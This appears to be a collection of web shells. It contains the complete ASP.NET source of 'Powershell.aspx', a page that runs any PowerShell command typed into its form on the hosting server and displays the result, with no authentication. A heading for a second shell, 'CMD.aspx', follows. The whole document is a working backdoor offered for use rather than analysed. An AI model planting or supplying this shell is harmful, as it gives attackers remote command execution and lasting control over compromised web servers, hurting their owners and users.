Web Shells
Powershell.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Collections.ObjectModel"%>
<%@ Import Namespace="System.Management.Automation"%>
<%@ Import Namespace="System.Management.Automation.Runspaces"%>
<%@ Assembly Name="System.Management.Automation,Version=1.0.0.0,Culture=neutral,PublicKeyToken=31BF3856AD364E35"%>
<!DOCTYPE html>
<script Language="c#" runat="server">
private static string powershelled(string scriptText)
{
try
{
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(scriptText);
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
stringBuilder.AppendLine(obj.ToString());
return stringBuilder.ToString();
}catch(Exception exception)
{
return string.Format("Error: {0}", exception.Message);
}
}
protected void Page_Load(object sender, EventArgs e)
{
if (Page.IsPostBack)
{
if(iTBox.Text.Length > 0)
{
oTBox.Text = powershelled(iTBox.Text.Trim());
iTBox.Text = string.Empty;
}
}
}
</script>
<html>
<head id="D34dHead" runat="server">
<title>POWER!shelled</title>
</head>
<body>
<form id="form1" runat="server">
<span>Index </span>
<span>POWER!webshell</span>><br />
<asp:TextBox ID="oTBox" runat="server" BackColor="Black"
Height="480px" ReadOnly="True" TextMode="MultiLine" Forecolor="Green"
Width="1200px" ToolTip="POWER!shell output"></asp:TextBox>
<br />
<asp:TextBox ID="iTBox" runat="server" Width="1200px"
ToolTip="<POWER!shell command>"></asp:TextBox>
</form>
</body>
</html>CMD.aspx
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